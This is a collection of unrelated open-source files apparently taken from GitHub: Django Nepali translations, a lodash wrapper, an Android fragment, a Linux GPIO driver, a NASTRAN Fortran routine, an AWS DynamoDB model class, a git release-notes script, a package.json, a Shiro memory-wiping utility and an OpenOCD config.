#, python-format msgid "Index of %(directory)s" msgstr "" #: views/generic/dates.py:42 msgid "No year specified" msgstr "साल तोकिएको छैन ।" #: views/generic/dates.py:98 msgid "No month specified" msgstr "महिना तोकिएको छैन ।" #: views/generic/dates.py:157 msgid "No day specified" msgstr "दिन तोकिएको छैन ।" #: views/generic/dates.py:213 msgid "No week specified" msgstr "साता तोकिएको छैन ।" #: views/generic/dates.py:368 views/generic/dates.py:393 #, python-format msgid "No %(verbose_name_plural)s available" msgstr "%(verbose_name_plural)s उपलब्ध छैन ।" #: views/generic/dates.py:646 #, python-format msgid "" "Future %(verbose_name_plural)s not available because %(class_name)s." "allow_future is False." msgstr "" "%(class_name)s.allow_future 'False' हुनाले आगामी %(verbose_name_plural)s उपलब्ध " "छैन ।" #: views/generic/dates.py:678 #, python-format msgid "Invalid date string '%(datestr)s' given format '%(format)s'" msgstr "मिति ढाँचा'%(format)s'को लागि अनुपयुक्त मिति '%(datestr)s'" #: views/generic/detail.py:54 #, python-format msgid "No %(verbose_name)s found matching the query" msgstr "%(verbose_name)s भेटिएन ।" #: views/generic/list.py:51 msgid "Page is not 'last', nor can it be converted to an int." msgstr "पृष्ठ अन्तिमा पनि होइन र अंकमा बदलिन पनि सकिदैन ।" #: views/generic/list.py:56 #, python-format msgid "Invalid page (%(page_number)s): %(message)s" msgstr "" #: views/generic/list.py:137 #, python-format msgid "Empty list and '%(class_name)s.allow_empty' is False." msgstr "'%(class_name)s.allow_empty' 'False' छ र लिस्ट पनि खालि छ । "
{ "pile_set_name": "Github" }
var convert = require('./convert'), func = convert('isWeakSet', require('../isWeakSet'), require('./_falseOptions')); func.placeholder = require('./placeholder'); module.exports = func;
{ "pile_set_name": "Github" }
package me.everything.providers.sample.fragments; import android.widget.TextView; import me.everything.providers.core.Data; import me.everything.providers.sample.base.GetEntitiesTask; import me.everything.providers.sample.base.RecycleViewListFragment; import me.everything.providers.sample.custom.Post; import me.everything.providers.sample.custom.PostsProvider; public class CustomPostsFragment extends RecycleViewListFragment<Post> { @Override protected String getTitle() { return "Custom - Posts"; } @Override protected void bindEntity(Post post, TextView title, TextView details) { title.setText(post.title); details.setText("Id: " + post.id); } @Override protected GetEntitiesTask.DataFetcher<Post> getFetcher() { return new GetEntitiesTask.DataFetcher<Post>() { @Override public Data<Post> getData() { PostsProvider provider = new PostsProvider(getApplicationContext()); return provider.getPosts(); } }; } }
{ "pile_set_name": "Github" }
/* * Copyright 2011 Texas Instruments Inc. * * Author: Margarita Olaya <[email protected]> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 2 of the License, or (at your * option) any later version. * * This driver is based on wm8350 implementation. */ #include <linux/kernel.h> #include <linux/module.h> #include <linux/errno.h> #include <linux/gpio.h> #include <linux/mfd/core.h> #include <linux/platform_device.h> #include <linux/seq_file.h> #include <linux/slab.h> #include <linux/mfd/tps65912.h> struct tps65912_gpio_data { struct tps65912 *tps65912; struct gpio_chip gpio_chip; }; static int tps65912_gpio_get(struct gpio_chip *gc, unsigned offset) { struct tps65912 *tps65912 = container_of(gc, struct tps65912, gpio); int val; val = tps65912_reg_read(tps65912, TPS65912_GPIO1 + offset); if (val & GPIO_STS_MASK) return 1; return 0; } static void tps65912_gpio_set(struct gpio_chip *gc, unsigned offset, int value) { struct tps65912 *tps65912 = container_of(gc, struct tps65912, gpio); if (value) tps65912_set_bits(tps65912, TPS65912_GPIO1 + offset, GPIO_SET_MASK); else tps65912_clear_bits(tps65912, TPS65912_GPIO1 + offset, GPIO_SET_MASK); } static int tps65912_gpio_output(struct gpio_chip *gc, unsigned offset, int value) { struct tps65912 *tps65912 = container_of(gc, struct tps65912, gpio); /* Set the initial value */ tps65912_gpio_set(gc, offset, value); return tps65912_set_bits(tps65912, TPS65912_GPIO1 + offset, GPIO_CFG_MASK); } static int tps65912_gpio_input(struct gpio_chip *gc, unsigned offset) { struct tps65912 *tps65912 = container_of(gc, struct tps65912, gpio); return tps65912_clear_bits(tps65912, TPS65912_GPIO1 + offset, GPIO_CFG_MASK); } static struct gpio_chip template_chip = { .label = "tps65912", .owner = THIS_MODULE, .direction_input = tps65912_gpio_input, .direction_output = tps65912_gpio_output, .get = tps65912_gpio_get, .set = tps65912_gpio_set, .can_sleep = 1, .ngpio = 5, .base = -1, }; static int __devinit tps65912_gpio_probe(struct platform_device *pdev) { struct tps65912 *tps65912 = dev_get_drvdata(pdev->dev.parent); struct tps65912_board *pdata = tps65912->dev->platform_data; struct tps65912_gpio_data *tps65912_gpio; int ret; tps65912_gpio = kzalloc(sizeof(*tps65912_gpio), GFP_KERNEL); if (tps65912_gpio == NULL) return -ENOMEM; tps65912_gpio->tps65912 = tps65912; tps65912_gpio->gpio_chip = template_chip; tps65912_gpio->gpio_chip.dev = &pdev->dev; if (pdata && pdata->gpio_base) tps65912_gpio->gpio_chip.base = pdata->gpio_base; ret = gpiochip_add(&tps65912_gpio->gpio_chip); if (ret < 0) { dev_err(&pdev->dev, "Failed to register gpiochip, %d\n", ret); goto err; } platform_set_drvdata(pdev, tps65912_gpio); return ret; err: kfree(tps65912_gpio); return ret; } static int __devexit tps65912_gpio_remove(struct platform_device *pdev) { struct tps65912_gpio_data *tps65912_gpio = platform_get_drvdata(pdev); int ret; ret = gpiochip_remove(&tps65912_gpio->gpio_chip); if (ret == 0) kfree(tps65912_gpio); return ret; } static struct platform_driver tps65912_gpio_driver = { .driver = { .name = "tps65912-gpio", .owner = THIS_MODULE, }, .probe = tps65912_gpio_probe, .remove = __devexit_p(tps65912_gpio_remove), }; static int __init tps65912_gpio_init(void) { return platform_driver_register(&tps65912_gpio_driver); } subsys_initcall(tps65912_gpio_init); static void __exit tps65912_gpio_exit(void) { platform_driver_unregister(&tps65912_gpio_driver); } module_exit(tps65912_gpio_exit); MODULE_AUTHOR("Margarita Olaya Cabrera <[email protected]>"); MODULE_DESCRIPTION("GPIO interface for TPS65912 PMICs"); MODULE_LICENSE("GPL v2"); MODULE_ALIAS("platform:tps65912-gpio");
{ "pile_set_name": "Github" }
SUBROUTINE IFP1C (I81,NZ) C LOGICAL BIT64 INTEGER CORE(1),COREY(401),SCR1,THRU,OTPE,EXCE,BLANK, 1 NIFP1C(2) COMMON /SYSTEM/ SYSBUF,OTPE,NOGO,INTP,MPCN,SPCN,METHOD,LOADNN, 1 NLPP,STFTEM,IPAGE,LINE,TLINE,MAXLIN,DATE(3),TIM, 2 IECHO,SPLOTS,SKIP(65),INTRA COMMON /IFP1A / SCR1,CASECC,IS,NWPC,NCPW4,NMODES,ICC,NSET,NSYM, 1 ZZZZBB,ISTR,ISUB,LENCC,IBEN,EQUAL,IEOR COMMON /XIFP1 / BLANK,BIT64 COMMON /ZZZZZZ/ COREX(1) EQUIVALENCE (COREX(1),COREY(1)), (CORE(1),COREY(401)) DATA THRU / 4HTHRU/,EXCE / 4HEXCE/ DATA NIFP1C / 4H IFP,4H1C / C I81O = I81 CORE(I81+2) = ISUB IF (CORE(I81+3) .NE. -1) GO TO 260 CORE(I81) = CORE(I81+4) ILSET = I81 + 1 CORE(ILSET) = 0 C C FIND BEGINNING OF SET LIST C I81 = I81 + 5 IF (CORE(I81) .EQ. IEOR) GO TO 270 IREAL = 0 IF (CORE(I81) .GT. 1) GO TO 200 I81 = I81 + 3 IF (CORE(I81) .EQ. IEOR) GO TO 270 IPUT = ILSET + 2 20 ITHRU = 0 IEXCPT= 0 30 ASSIGN 20 TO IRET IF (CORE(I81)) 40,60,80 40 ITHRU = 0 IEXCPT = 0 50 IF (IABS(CORE(I81)) .NE. 1) IREAL = 1 CORE(IPUT) = CORE(I81+1) IBK1 = IABS(CORE(I81+1)) I81 = I81 + 2 IPUT = IPUT + 1 CORE(ILSET) = CORE(ILSET) + 1 GO TO 30 C C CONTINUATION CARD C C ... ALLOW ON-LINE READ IF INTRA IS .GT. ZERO, SET BY ONLINS C 60 IF (INTRA .LE. 0) GO TO 65 CALL XREAD (*240,CORE(1)) ICC = ICC + 1 GO TO 67 65 CALL READ (*240,*240,SCR1,CORE(1),NWPC,0,FLAG) WRITE (OTPE,250) ICC,(CORE(I),I=1,NWPC) ICC = ICC + 1 LINE = LINE + 1 IF (LINE .GE. NLPP) CALL PAGE 67 I81 = IPUT NZ = NZ - CORE(ILSET) CALL XRCARD (CORE(I81),NZ,CORE(1)) GO TO IRET, (20,120) C C END OF RECORD C 70 I81 = IPUT IF (CORE(ILSET)-1) 200,230,71 71 CONTINUE IF (IREAL .EQ. 1) GO TO 230 C C SORT LIST C ISET = CORE(ILSET) CALL IFP1S (CORE(ILSET+2),CORE(I81),CORE(ILSET)) C C CORRECT FOR DELETIONS C I81 = I81 + CORE(ILSET) - ISET GO TO 230 C C THRU AND EXCEPT C 80 IF (CORE(I81) .EQ. IEOR) GO TO 70 IF (IREAL .EQ. 1) CALL IFP1D(-622) IF (BIT64) CALL MVBITS (BLANK,0,32,CORE(I81+1),0) IF (CORE(I81+1) .NE. THRU) GO TO 90 IF (CORE(ILSET) .EQ. 0) GO TO 200 IF (CORE(IPUT-1) .LT. 0) GO TO 280 I81 = I81 +3 IF (CORE(I81) .EQ. IEOR) GO TO 270 IBK = IBK1 IFWD = CORE(I81+1) IFWD1= IFWD IF (IBK .GE. IFWD) GO TO 200 ITHRU = 1 C TEST FOR DEGENERATE THRU INTERVAL IF (IFWD-IBK.EQ.1) GO TO 50 CORE(I81+1) = -CORE(I81+1) GO TO 50 C C EXCEPT C 90 IF (CORE(I81+1) .NE. EXCE) GO TO 200 IF (ITHRU .EQ. 1) GO TO 110 C C EXCEPT WITHOUT THRU C CALL IFP1D (-613) GO TO 220 C C PROCESS EXCEPT CANDIDATES C 110 I81 = I81 + 3 IF (CORE(I81) .EQ. IEOR) GO TO 270 IF (IEXCPT .EQ. 1) GO TO 280 IEXCPT = 1 JEXCPT = 0 120 ASSIGN 120 TO IRET IF (CORE(I81)) 130,60,80 130 IF (CORE(I81+1) .GT. IFWD1) GO TO 20 IF (CORE(I81+1) .LT. IBK) GO TO 200 IF (CORE(I81+1).LE.CORE(I81-1) .AND. JEXCPT.EQ.1 .AND. 1 (CORE(I81+2).LE.0 .OR. CORE(I81+2).EQ.IEOR)) GO TO 160 JEXCPT = 1 IF (CORE(I81+1) .EQ. IBK) GO TO 290 IF (CORE(I81+1) .EQ. IFWD) GO TO 300 IF (CORE(I81+1) .EQ. IFWD1) GO TO 310 IF (CORE(I81+1)-1 .EQ. IBK) GO TO 140 IF (CORE(I81+1)+1 .EQ.IFWD) GO TO 180 C EXCEPT IN MIDDLE OF INTERVAL CORE(IPUT-1) = -CORE(I81+1) + 1 IACIP = IABS(CORE(IPUT-1)) IF (IACIP-IBK.EQ.1) CORE(IPUT-1) = IACIP CORE(IPUT ) = CORE(I81+1)+1 CORE(IPUT+1) = -IFWD IF (IFWD-CORE(IPUT).EQ.1) CORE(IPUT+1) = IFWD IBK = CORE(IPUT) I81 = I81 + 2 IPUT= IPUT + 2 CORE(ILSET) = CORE(ILSET) + 2 GO TO 120 C EXCEPT ADJACENT TO BOTTOM OF INTERVAL 140 IL1 = CORE(IPUT-1) IBK = IBK + 2 CORE(IPUT-1) = IBK IAL1 = IABS(IL1) IF (IAL1-IBK.EQ.1) IL1 = IAL1 CORE(IPUT) = IL1 IF (IBK .NE. IAL1) GO TO 150 IBK = 0 IFWD = 0 I81 = I81 + 2 GO TO 120 150 IPUT = IPUT + 1 I81 = I81 + 2 CORE(ILSET) = CORE(ILSET) + 1 GO TO 120 160 CALL IFP1D (-626) I81 = I81 + 2 GO TO 120 C EXCEPT ADJACENT TO TOP OF INTERVAL 180 CORE(IPUT) = IABS(CORE(IPUT-1)) IFWD = IFWD - 2 CORE(IPUT-1) = -IFWD IF (IFWD-IBK .EQ. 1) CORE(IPUT-1) = IFWD GO TO 150 C C FOULED UP SET C 200 CALL IFP1D (-614) 220 I81 = I81O NSET = NSET - 1 230 RETURN 240 CALL MESAGE (-1,SCR1,NIFP1C) GO TO 240 250 FORMAT (11X,I8,6X,20A4) C C NO NAME FOR SET C 260 CALL IFP1D (-615) GO TO 220 C C UNEXPECTED END OF RECORD C 270 CALL IFP1D (-623) GO TO 220 C C EXCEPT FOLLOWED BY THRU C 280 CALL IFP1D (-616) GO TO 220 C C EXCEPTING BEGINNING OF INTERVAL C 290 IBK = IBK + 1 CORE(IPUT-2) = IBK I81 = I81 + 2 IF (IFWD-IBK .EQ. 1) CORE(IPUT-1) = IFWD IF (IBK .NE. IFWD) GO TO 120 IPUT = IPUT - 1 CORE(ILSET) = CORE(ILSET) - 1 IBK = 0 IFWD = 0 GO TO 120 C C EXCEPT END OF INTERVAL C 300 IFWD = IFWD - 1 CORE(IPUT-1) = -IFWD I81 = I81 + 2 IF (IFWD-IBK .EQ. 1) CORE(IPUT-1) = IFWD IF (IBK .NE. IFWD) GO TO 20 IPUT = IPUT - 1 CORE(ILSET) = CORE(ILSET) - 1 GO TO 20 C C EXCEPT PAST OLD END OF INTERVAL C 310 I81 = I81 + 2 IPUT = IPUT- 1 CORE(ILSET) = CORE(ILSET) - 1 GO TO 20 END
{ "pile_set_name": "Github" }
/* * Copyright 2010-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ package com.amazonaws.services.dynamodbv2.model; import java.io.Serializable; /** * <p> * Represents the properties of a global secondary index for the table when the * backup was created. * </p> */ public class GlobalSecondaryIndexInfo implements Serializable { /** * <p> * The name of the global secondary index. * </p> * <p> * <b>Constraints:</b><br/> * <b>Length: </b>3 - 255<br/> * <b>Pattern: </b>[a-zA-Z0-9_.-]+<br/> */ private String indexName; /** * <p> * The complete key schema for a global secondary index, which consists of * one or more pairs of attribute names and key types: * </p> * <ul> * <li> * <p> * <code>HASH</code> - partition key * </p> * </li> * <li> * <p> * <code>RANGE</code> - sort key * </p> * </li> * </ul> * <note> * <p> * The partition key of an item is also known as its <i>hash attribute</i>. * The term "hash attribute" derives from DynamoDB' usage of an internal * hash function to evenly distribute data items across partitions, based on * their partition key values. * </p> * <p> * The sort key of an item is also known as its <i>range attribute</i>. The * term "range attribute" derives from the way DynamoDB stores items with * the same partition key physically close together, in sorted order by the * sort key value. * </p> * </note> */ private java.util.List<KeySchemaElement> keySchema; /** * <p> * Represents attributes that are copied (projected) from the table into the * global secondary index. These are in addition to the primary key * attributes and index key attributes, which are automatically projected. * </p> */ private Projection projection; /** * <p> * Represents the provisioned throughput settings for the specified global * secondary index. * </p> */ private ProvisionedThroughput provisionedThroughput; /** * <p> * The name of the global secondary index. * </p> * <p> * <b>Constraints:</b><br/> * <b>Length: </b>3 - 255<br/> * <b>Pattern: </b>[a-zA-Z0-9_.-]+<br/> * * @return <p> * The name of the global secondary index. * </p> */ public String getIndexName() { return indexName; } /** * <p> * The name of the global secondary index. * </p> * <p> * <b>Constraints:</b><br/> * <b>Length: </b>3 - 255<br/> * <b>Pattern: </b>[a-zA-Z0-9_.-]+<br/> * * @param indexName <p> * The name of the global secondary index. * </p> */ public void setIndexName(String indexName) { this.indexName = indexName; } /** * <p> * The name of the global secondary index. * </p> * <p> * Returns a reference to this object so that method calls can be chained * together. * <p> * <b>Constraints:</b><br/> * <b>Length: </b>3 - 255<br/> * <b>Pattern: </b>[a-zA-Z0-9_.-]+<br/> * * @param indexName <p> * The name of the global secondary index. * </p> * @return A reference to this updated object so that method calls can be * chained together. */ public GlobalSecondaryIndexInfo withIndexName(String indexName) { this.indexName = indexName; return this; } /** * <p> * The complete key schema for a global secondary index, which consists of * one or more pairs of attribute names and key types: * </p> * <ul> * <li> * <p> * <code>HASH</code> - partition key * </p> * </li> * <li> * <p> * <code>RANGE</code> - sort key * </p> * </li> * </ul> * <note> * <p> * The partition key of an item is also known as its <i>hash attribute</i>. * The term "hash attribute" derives from DynamoDB' usage of an internal * hash function to evenly distribute data items across partitions, based on * their partition key values. * </p> * <p> * The sort key of an item is also known as its <i>range attribute</i>. The * term "range attribute" derives from the way DynamoDB stores items with * the same partition key physically close together, in sorted order by the * sort key value. * </p> * </note> * * @return <p> * The complete key schema for a global secondary index, which * consists of one or more pairs of attribute names and key types: * </p> * <ul> * <li> * <p> * <code>HASH</code> - partition key * </p> * </li> * <li> * <p> * <code>RANGE</code> - sort key * </p> * </li> * </ul> * <note> * <p> * The partition key of an item is also known as its <i>hash * attribute</i>. The term "hash attribute" derives from DynamoDB' * usage of an internal hash function to evenly distribute data * items across partitions, based on their partition key values. * </p> * <p> * The sort key of an item is also known as its <i>range * attribute</i>. The term "range attribute" derives from the way * DynamoDB stores items with the same partition key physically * close together, in sorted order by the sort key value. * </p> * </note> */ public java.util.List<KeySchemaElement> getKeySchema() { return keySchema; } /** * <p> * The complete key schema for a global secondary index, which consists of * one or more pairs of attribute names and key types: * </p> * <ul> * <li> * <p> * <code>HASH</code> - partition key * </p> * </li> * <li> * <p> * <code>RANGE</code> - sort key * </p> * </li> * </ul> * <note> * <p> * The partition key of an item is also known as its <i>hash attribute</i>. * The term "hash attribute" derives from DynamoDB' usage of an internal * hash function to evenly distribute data items across partitions, based on * their partition key values. * </p> * <p> * The sort key of an item is also known as its <i>range attribute</i>. The * term "range attribute" derives from the way DynamoDB stores items with * the same partition key physically close together, in sorted order by the * sort key value. * </p> * </note> * * @param keySchema <p> * The complete key schema for a global secondary index, which * consists of one or more pairs of attribute names and key * types: * </p> * <ul> * <li> * <p> * <code>HASH</code> - partition key * </p> * </li> * <li> * <p> * <code>RANGE</code> - sort key * </p> * </li> * </ul> * <note> * <p> * The partition key of an item is also known as its <i>hash * attribute</i>. The term "hash attribute" derives from * DynamoDB' usage of an internal hash function to evenly * distribute data items across partitions, based on their * partition key values. * </p> * <p> * The sort key of an item is also known as its <i>range * attribute</i>. The term "range attribute" derives from the way * DynamoDB stores items with the same partition key physically * close together, in sorted order by the sort key value. * </p> * </note> */ public void setKeySchema(java.util.Collection<KeySchemaElement> keySchema) { if (keySchema == null) { this.keySchema = null; return; } this.keySchema = new java.util.ArrayList<KeySchemaElement>(keySchema); } /** * <p> * The complete key schema for a global secondary index, which consists of * one or more pairs of attribute names and key types: * </p> * <ul> * <li> * <p> * <code>HASH</code> - partition key * </p> * </li> * <li> * <p> * <code>RANGE</code> - sort key * </p> * </li> * </ul> * <note> * <p> * The partition key of an item is also known as its <i>hash attribute</i>. * The term "hash attribute" derives from DynamoDB' usage of an internal * hash function to evenly distribute data items across partitions, based on * their partition key values. * </p> * <p> * The sort key of an item is also known as its <i>range attribute</i>. The * term "range attribute" derives from the way DynamoDB stores items with * the same partition key physically close together, in sorted order by the * sort key value. * </p> * </note> * <p> * Returns a reference to this object so that method calls can be chained * together. * * @param keySchema <p> * The complete key schema for a global secondary index, which * consists of one or more pairs of attribute names and key * types: * </p> * <ul> * <li> * <p> * <code>HASH</code> - partition key * </p> * </li> * <li> * <p> * <code>RANGE</code> - sort key * </p> * </li> * </ul> * <note> * <p> * The partition key of an item is also known as its <i>hash * attribute</i>. The term "hash attribute" derives from * DynamoDB' usage of an internal hash function to evenly * distribute data items across partitions, based on their * partition key values. * </p> * <p> * The sort key of an item is also known as its <i>range * attribute</i>. The term "range attribute" derives from the way * DynamoDB stores items with the same partition key physically * close together, in sorted order by the sort key value. * </p> * </note> * @return A reference to this updated object so that method calls can be * chained together. */ public GlobalSecondaryIndexInfo withKeySchema(KeySchemaElement... keySchema) { if (getKeySchema() == null) { this.keySchema = new java.util.ArrayList<KeySchemaElement>(keySchema.length); } for (KeySchemaElement value : keySchema) { this.keySchema.add(value); } return this; } /** * <p> * The complete key schema for a global secondary index, which consists of * one or more pairs of attribute names and key types: * </p> * <ul> * <li> * <p> * <code>HASH</code> - partition key * </p> * </li> * <li> * <p> * <code>RANGE</code> - sort key * </p> * </li> * </ul> * <note> * <p> * The partition key of an item is also known as its <i>hash attribute</i>. * The term "hash attribute" derives from DynamoDB' usage of an internal * hash function to evenly distribute data items across partitions, based on * their partition key values. * </p> * <p> * The sort key of an item is also known as its <i>range attribute</i>. The * term "range attribute" derives from the way DynamoDB stores items with * the same partition key physically close together, in sorted order by the * sort key value. * </p> * </note> * <p> * Returns a reference to this object so that method calls can be chained * together. * * @param keySchema <p> * The complete key schema for a global secondary index, which * consists of one or more pairs of attribute names and key * types: * </p> * <ul> * <li> * <p> * <code>HASH</code> - partition key * </p> * </li> * <li> * <p> * <code>RANGE</code> - sort key * </p> * </li> * </ul> * <note> * <p> * The partition key of an item is also known as its <i>hash * attribute</i>. The term "hash attribute" derives from * DynamoDB' usage of an internal hash function to evenly * distribute data items across partitions, based on their * partition key values. * </p> * <p> * The sort key of an item is also known as its <i>range * attribute</i>. The term "range attribute" derives from the way * DynamoDB stores items with the same partition key physically * close together, in sorted order by the sort key value. * </p> * </note> * @return A reference to this updated object so that method calls can be * chained together. */ public GlobalSecondaryIndexInfo withKeySchema(java.util.Collection<KeySchemaElement> keySchema) { setKeySchema(keySchema); return this; } /** * <p> * Represents attributes that are copied (projected) from the table into the * global secondary index. These are in addition to the primary key * attributes and index key attributes, which are automatically projected. * </p> * * @return <p> * Represents attributes that are copied (projected) from the table * into the global secondary index. These are in addition to the * primary key attributes and index key attributes, which are * automatically projected. * </p> */ public Projection getProjection() { return projection; } /** * <p> * Represents attributes that are copied (projected) from the table into the * global secondary index. These are in addition to the primary key * attributes and index key attributes, which are automatically projected. * </p> * * @param projection <p> * Represents attributes that are copied (projected) from the * table into the global secondary index. These are in addition * to the primary key attributes and index key attributes, which * are automatically projected. * </p> */ public void setProjection(Projection projection) { this.projection = projection; } /** * <p> * Represents attributes that are copied (projected) from the table into the * global secondary index. These are in addition to the primary key * attributes and index key attributes, which are automatically projected. * </p> * <p> * Returns a reference to this object so that method calls can be chained * together. * * @param projection <p> * Represents attributes that are copied (projected) from the * table into the global secondary index. These are in addition * to the primary key attributes and index key attributes, which * are automatically projected. * </p> * @return A reference to this updated object so that method calls can be * chained together. */ public GlobalSecondaryIndexInfo withProjection(Projection projection) { this.projection = projection; return this; } /** * <p> * Represents the provisioned throughput settings for the specified global * secondary index. * </p> * * @return <p> * Represents the provisioned throughput settings for the specified * global secondary index. * </p> */ public ProvisionedThroughput getProvisionedThroughput() { return provisionedThroughput; } /** * <p> * Represents the provisioned throughput settings for the specified global * secondary index. * </p> * * @param provisionedThroughput <p> * Represents the provisioned throughput settings for the * specified global secondary index. * </p> */ public void setProvisionedThroughput(ProvisionedThroughput provisionedThroughput) { this.provisionedThroughput = provisionedThroughput; } /** * <p> * Represents the provisioned throughput settings for the specified global * secondary index. * </p> * <p> * Returns a reference to this object so that method calls can be chained * together. * * @param provisionedThroughput <p> * Represents the provisioned throughput settings for the * specified global secondary index. * </p> * @return A reference to this updated object so that method calls can be * chained together. */ public GlobalSecondaryIndexInfo withProvisionedThroughput( ProvisionedThroughput provisionedThroughput) { this.provisionedThroughput = provisionedThroughput; return this; } /** * Returns a string representation of this object; useful for testing and * debugging. * * @return A string representation of this object. * @see java.lang.Object#toString() */ @Override public String toString() { StringBuilder sb = new StringBuilder(); sb.append("{"); if (getIndexName() != null) sb.append("IndexName: " + getIndexName() + ","); if (getKeySchema() != null) sb.append("KeySchema: " + getKeySchema() + ","); if (getProjection() != null) sb.append("Projection: " + getProjection() + ","); if (getProvisionedThroughput() != null) sb.append("ProvisionedThroughput: " + getProvisionedThroughput()); sb.append("}"); return sb.toString(); } @Override public int hashCode() { final int prime = 31; int hashCode = 1; hashCode = prime * hashCode + ((getIndexName() == null) ? 0 : getIndexName().hashCode()); hashCode = prime * hashCode + ((getKeySchema() == null) ? 0 : getKeySchema().hashCode()); hashCode = prime * hashCode + ((getProjection() == null) ? 0 : getProjection().hashCode()); hashCode = prime * hashCode + ((getProvisionedThroughput() == null) ? 0 : getProvisionedThroughput().hashCode()); return hashCode; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (obj instanceof GlobalSecondaryIndexInfo == false) return false; GlobalSecondaryIndexInfo other = (GlobalSecondaryIndexInfo) obj; if (other.getIndexName() == null ^ this.getIndexName() == null) return false; if (other.getIndexName() != null && other.getIndexName().equals(this.getIndexName()) == false) return false; if (other.getKeySchema() == null ^ this.getKeySchema() == null) return false; if (other.getKeySchema() != null && other.getKeySchema().equals(this.getKeySchema()) == false) return false; if (other.getProjection() == null ^ this.getProjection() == null) return false; if (other.getProjection() != null && other.getProjection().equals(this.getProjection()) == false) return false; if (other.getProvisionedThroughput() == null ^ this.getProvisionedThroughput() == null) return false; if (other.getProvisionedThroughput() != null && other.getProvisionedThroughput().equals(this.getProvisionedThroughput()) == false) return false; return true; } }
{ "pile_set_name": "Github" }
#!/usr/bin/env bash set -e set -o pipefail # import our common stuff source "$(dirname ${BASH_SOURCE})/common.sh" # TODO: work with both release branch and major release git::ensure-release-branch git::export-current-version # check the next version next_ver=$(git::next-version) features="" bugfixes="" breaking="" unknown="" MERGE_PR="Merge pull request #([[:digit:]]+) from ([[:alnum:]-]+)/.+" NEWLINE=" " head_commit=$(git rev-parse HEAD) while read commit_word commit; do read title read # skip the blank line read prefix body if [[ ${prefix} == v*.*.* && ( ${commit} == ${head_commit} || $(git tag --points-at ${commit}) == v*.*.* ) ]]; then # skip version merges continue fi set +x if [[ ! ${title} =~ ${MERGE_PR} ]]; then echo "Unable to determine PR number for merge ${commit} with title '${title}', aborting." >&2 exit 1 fi pr_number=${BASH_REMATCH[1]} pr_type=$(cr::symbol-type ${prefix}) pr_title=${body} if [[ ${pr_type} == "unknown" ]]; then pr_title="${prefix} ${pr_title}" fi case ${pr_type} in major) breaking="${breaking}- ${pr_title} (#${pr_number})${NEWLINE}" ;; minor) features="${features}- ${pr_title} (#${pr_number})${NEWLINE}" ;; patch) bugfixes="${bugfixes}- ${pr_title} (#${pr_number})${NEWLINE}" ;; docs|other) # skip non-code-changes ;; unknown) unknown="${unknown}- ${pr_title} (#${pr_number})${NEWLINE}" ;; *) echo "unknown PR type '${pr_type}' on PR '${pr_title}'" >&2 exit 1 esac done <<<$(git rev-list ${last_tag}..HEAD --merges --pretty=format:%B) # TODO: sort non merge commits with tags [[ -n "${breaking}" ]] && printf '\e[1;31mbreaking changes this version\e[0m' >&2 [[ -n "${unknown}" ]] && printf '\e[1;35munknown changes in this release -- categorize manually\e[0m' >&2 echo "" >&2 echo "" >&2 echo "# ${next_ver}" if [[ -n ${breaking} ]]; then echo "" echo "## :warning: Breaking Changes" echo "" echo "${breaking}" fi if [[ -n ${features} ]]; then echo "" echo "## :sparkles: New Features" echo "" echo "${features}" fi if [[ -n ${bugfixes} ]]; then echo "" echo "## :bug: Bug Fixes" echo "" echo "${bugfixes}" fi if [[ -n ${unknown} ]]; then echo "" echo "## :question: *categorize these manually*" echo "" echo "${unknown}" fi echo "" echo "*Thanks to all our contributors!*"
{ "pile_set_name": "Github" }
{ "name": "example", "version": "0.0.0", "private": true, "author": "Andre Staltz", "license": "MIT", "dependencies": { "@cycle/run": "3.1", "@cycle/dom": "17.2", "@cycle/isolate": "3.0", "@types/es6-shim": "^0.31.32", "cycle-onionify": "file:../..", "xstream": "10.x" }, "devDependencies": { "browserify": "13.0.x", "mkdirp": "0.5.x", "typescript": "2.3.2" }, "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "prebrowserify": "mkdirp dist && tsc", "browserify": "browserify lib/main.js --outfile dist/main.js", "start": "npm install && npm run browserify && echo 'OPEN index.html IN YOUR BROWSER'" } }
{ "pile_set_name": "Github" }
/* * Copyright 2018 The shiro-root contributors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.shiro.util; import java.util.Arrays; public final class ByteUtils { private ByteUtils() { // private utility class } /** * For security, sensitive information in array should be zeroed-out at end of use (SHIRO-349). * @param value An array holding sensitive data */ public static void wipe(Object value) { if (value instanceof byte[]) { byte[] array = (byte[]) value; Arrays.fill(array, (byte) 0); } else if (value instanceof char[]) { char[] array = (char[]) value; Arrays.fill(array, '\u0000'); } } }
{ "pile_set_name": "Github" }
# # TI/Luminary Stellaris LM3S6965 Evaluation Kits # # http://www.ti.com/tool/ek-lm3s6965 # # NOTE: using the on-board FT2232 JTAG/SWD/SWO interface is optional! # so is using it in JTAG mode, as done here. source [find interface/ftdi/luminary.cfg] # 20k working area set WORKAREASIZE 0x5000 set CHIPNAME lm3s6965 # include the target config source [find target/stellaris.cfg]
{ "pile_set_name": "Github" }
